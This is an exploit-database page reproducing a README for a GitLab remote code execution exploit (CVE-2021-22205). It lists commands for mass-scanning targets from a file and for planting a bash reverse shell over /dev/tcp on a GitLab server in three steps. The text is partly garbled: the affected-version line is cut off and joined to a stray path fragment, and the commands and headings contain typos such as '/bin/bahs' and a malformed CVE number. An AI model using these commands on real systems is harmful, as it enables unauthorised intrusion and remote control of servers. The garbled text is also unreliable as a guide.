Sploitus

Exploit for Code Injection in Gitlab

CVE-2021-2205CVE-2021-22204CVE-2021-22205

githubexploit · 2021-11-04

Exploit Code

README41 lines
## https://sploitus.com/exploit?id=400AD2B4-EBCE-5934-92E0-C32C59BFA420
### Vuln Impact

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

### Vuln Product

- Gitlab CE/EE  /tmp/1.txt"
```



##### batch scan

```
python3 CVE-2021-2205.py -s true -f target.txt
```


##### Reserve Shell

```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
```



```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"
```



```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"
```


### Reference

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html